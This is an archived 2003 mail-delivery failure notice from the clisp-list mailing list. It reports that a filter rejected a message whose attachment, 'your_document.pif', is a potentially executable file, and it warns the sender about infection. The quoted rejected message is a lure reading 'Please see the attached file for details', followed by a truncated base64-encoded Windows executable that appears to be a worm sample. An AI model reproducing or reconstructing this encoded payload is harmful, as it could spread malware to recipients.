3.31-VA-mm2 #1 (Debian)) id 19p750-00008m-00 for ; Tue, 19 Aug 2003 07:03:22 -0700 X-Failed-Recipients: message filter, clisp-list@lists.sourceforge.net From: Mail Delivery System To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 07:04:03 2003 X-Original-Date: Tue, 19 Aug 2003 07:03:22 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded clisp-list@lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "your_document.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 101882 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from b2.ovh.net ([213.186.33.52] helo=redirect.ovh.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19p74S-0008Rx-00 for ; Tue, 19 Aug 2003 07:02:49 -0700 Received: by redirect.ovh.net (Postfix, from userid 500) id B6F03247F6; Tue, 19 Aug 2003 16:02:15 +0200 (CEST) From: ORT@redirect.ovh.net (Ovh Redirect Technology) To: clisp-list@lists.sourceforge.net Subject: failure notice Message-Id: <20030819140215.B6F03247F6@redirect.ovh.net> Date: Tue, 19 Aug 2003 16:02:15 +0200 (CEST) Hi, This is an ORT (Ovh Redirect Technology) SMTP server. >> ORT did not find out any redirect email --- Below this line is a copy of the message. Received: by ORT (Ovh Redirect Technology) ver:0.99 < clisp-list@lists.sourceforge.net > javassh@france-mail.com >> NONE (no found) Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by redirect.ovh.net (Postfix) with ESMTP id F371D24353 for ; Tue, 19 Aug 2003 16:02:11 +0200 (CEST) From: To: Subject: Your details Date: Tue, 19 Aug 2003 10:02:40 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_01820406" Message-Id: <20030819140211.F371D24353@redirect.ovh.net> This is a multipart message in MIME format --_NextPart_000_01820406 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_01820406 Content-Type: application/octet-stream; name="your_document.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_document.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 